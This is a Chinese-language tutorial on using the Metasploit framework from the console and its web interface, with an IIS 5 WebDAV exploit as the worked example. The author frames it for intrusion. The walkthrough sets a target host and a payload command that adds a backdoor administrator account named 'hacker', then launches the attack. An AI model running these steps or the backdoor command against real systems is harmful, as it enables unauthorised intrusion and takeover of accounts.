溢出工具包:Metasploit使用说明
命令行下使用Metasploit
运行后首先看到的是Metasploit欢迎界面,我们输入“?”得到在线帮助(如图1所示):
图1
可以看到里面有很多的命令,下面我将最重要的几个做简单解释:
“?”:得到帮助。
“cd”:更换当前的工作目录。
“exit”:退出。
“help”:得到帮助。
“info”:显示当前程序的信息。
“quit”:推出程序。
“reload”:载入Exploit和payloads。
“save”:保存当前设置
“setg”:设置一个环境变量。
“show”:显示可用的Exploit和payloads。
“use”:使用一个Exploit。
“version”:显示程序的版本。
虽然有这么多的命令可是常用的也就是“show”、“info”和“use”而已,它们究竟怎么使用呢?
此程序集成了众多的Exploit,所以我们要先了解一下程序中到底有那些溢出工具包,输入“show Exploits”看有哪些可用的Exploit程序先(如图2所示):
图2
左面显示的是溢出程序的程序名称,右面是相应的简介。可以看到Metasploit中带的溢出程序包还是很多的,完全可以满足我们日常入侵的需要,以后我们就再也不用到存放溢出程序的文件夹中去找半天对应的程序了!
知道了有什么溢出程序,但是怎么使用呢?一般情况下,当我们拿到一个溢出程序后要先阅读溢出程序的帮助文件来查看使用方法,在Metasploit中怎样查看我们需要的溢出程序的使用方法呢?这就用到了Info命令。该命令的作用是显示溢出程序包的详细信息,比如我们想要查看“iis50_webday_ntdll”溢出工具包的使用方法,在命令行下输入:“info Exploit iis50_webday_ntdll”后得到如图3所示的回显:
图3
蝴蝶:在图3中我们需要注意的是一开始的部分和Available Options中的内容,开始的内容可以告诉我们这个溢出程序是针对什么系统的,而Available Options中的内容是我们下一步所要用到的。
这里需要说明的是在输入的命令中的Exploit是向程序指明我们要查看的是Exploit的信息,当然可以查看的还有Payload的信息,但Payload是什么呢?其实说白了Payload就是我们平时说的ShellCode。在Metasploit中,溢出所用的ShellCode并不像我们平时用到的溢出工具一样,Metasploit允许我们自己选择自己喜欢的ShellCode,这样就大大提高了溢出的灵活行。
在命令行下输入“show payloads”后可以看到可用的ShellCode列表(如图4所示):
图4
同样,左面是ShellCode的名字,右面是相应的简介。我们再用Info命令来看一下ShellCode的具体信息,比如我们对一个叫Winexec的ShellCode比较感兴趣,在命令行下输入:Info payload winexec,如图5所示。
图5
在这个对话框中需要注意的同样是开头的信息和Available Options中的内容。在Available Options中,我们可以看到有Required和Optional的字样,Required 代表必选的意思Optional代表是可选可不选的。在下面的具体使用中我们需要用到这里面的选项。
蝴蝶:这里需要说明的是,以BSD开头的是针对BSD系统的ShellCode,以Linx开头的是针对Linux系统的ShellCode,以CMD和WIN开头的是针对Windows系统。因为为不同的系统对不同的ShellCode要求是不一样的,所一在此一定要选择合适的ShellCode才可以成功溢出。
看了这么多基本的命令介绍,下面我们实际溢出一次看看效果!
在实际的溢出中,我们要用到的是USE命令。这里我们仍然以“iis50_webdav_ntdll”溢出工具包为例。在命令行中输入“use iis50_webdav_ntdll”后会切换到“iis50_webdav_ntdll”目录下。输入Show options,查看溢出工具包要求指定输入的内容。如图6所示:
图6
可以看到有两个Required项,这里的Required是和图3中一致的。下面我们来设置这些必须的选项,在命令行下依次输入:
set RHOST 192.168.1.3
set RPORT 80
如图7所示:
图7
在Metasploit中,ShellCode是可自己指定的,怎样指定呢?很简单,依次输入输入:
set payload winexec
set CMD net user hacker 123 /add & net localgroup administrators hacker /add
如图8所示。
图8
第一个命令是指定我们需要用什么样的ShellCode,但是第2个命令是什么意思呢?大家现在回过头去看看图5。发现了什么?呵呵,还记得我提到过的必选项吗?看看Available Options中的CMD必选项和后面的说明。是的,这里的第2个命令的意思就是设置必选项CMD,其实设置的CMD的内容就是我们想要执行的命令。至于什么命令那就看大家的需要了!
好了最基本的设置我们已经完成,最后指明目标主机的操作系统就可以发动攻击了,输入:
show targets
可以看到可供选择的操作系统类型的代表名称。接着输入:
set target 0
选定操作系统。OK,我们确认一下,输入:
Set
可以看到如图9所示的回显:
图9
检查无误后就可以开始溢出了,输入:
Exploit
程序提示溢出开始,只不过我这次试验怎么溢出都不成功,因为对方系统早补了这个漏洞了,这里也就不把图贴出来丢人了,见谅。
图形界面下使用Metasploit
Metasploit图形界面的使用方法和命令行下没有太大的区别,只不过是操作方式的不同罢了:到Metasploit的安装目录下找到Msfweb.bat文件双击运行,一会后程序提示执行成功,如图10所示:
图10
然后打开IE,在地址栏中输入http://127.0.0.1:55555等一会后看到图11所示的IE窗口:
图11
在想要使用的溢出工具包上单击鼠标左键后进入到基本设置窗口,我们仍然以iis50_webdav_ntdll为例,如图12所示:
图12
单击“select payload”选项进入Payload选择界面,如图13所示:
图13
选择合适的Payload后就进入基本信息的设定界面了,如图14所示:
图14
这里的设置和命令行中介绍的是基本一致的,我就不做额外的说明了。都设定好后,你可以点Vulnerability Check检查看看目标系统有没有相应的漏洞,或者点Launch Exploit进行攻击!
从上面的操作可以看出Metasploit的使用方法是非常简单的,而且功能也是很强大的,对于我们日常的渗透来说是一款很实用的工具。当然,你也许并不满足于软件自带的这些溢出工具,你完全可以自己向这个工具中添加任何你认为对你有用的溢出工具包。相信随着大家的努力,这个工具包可以更加完善!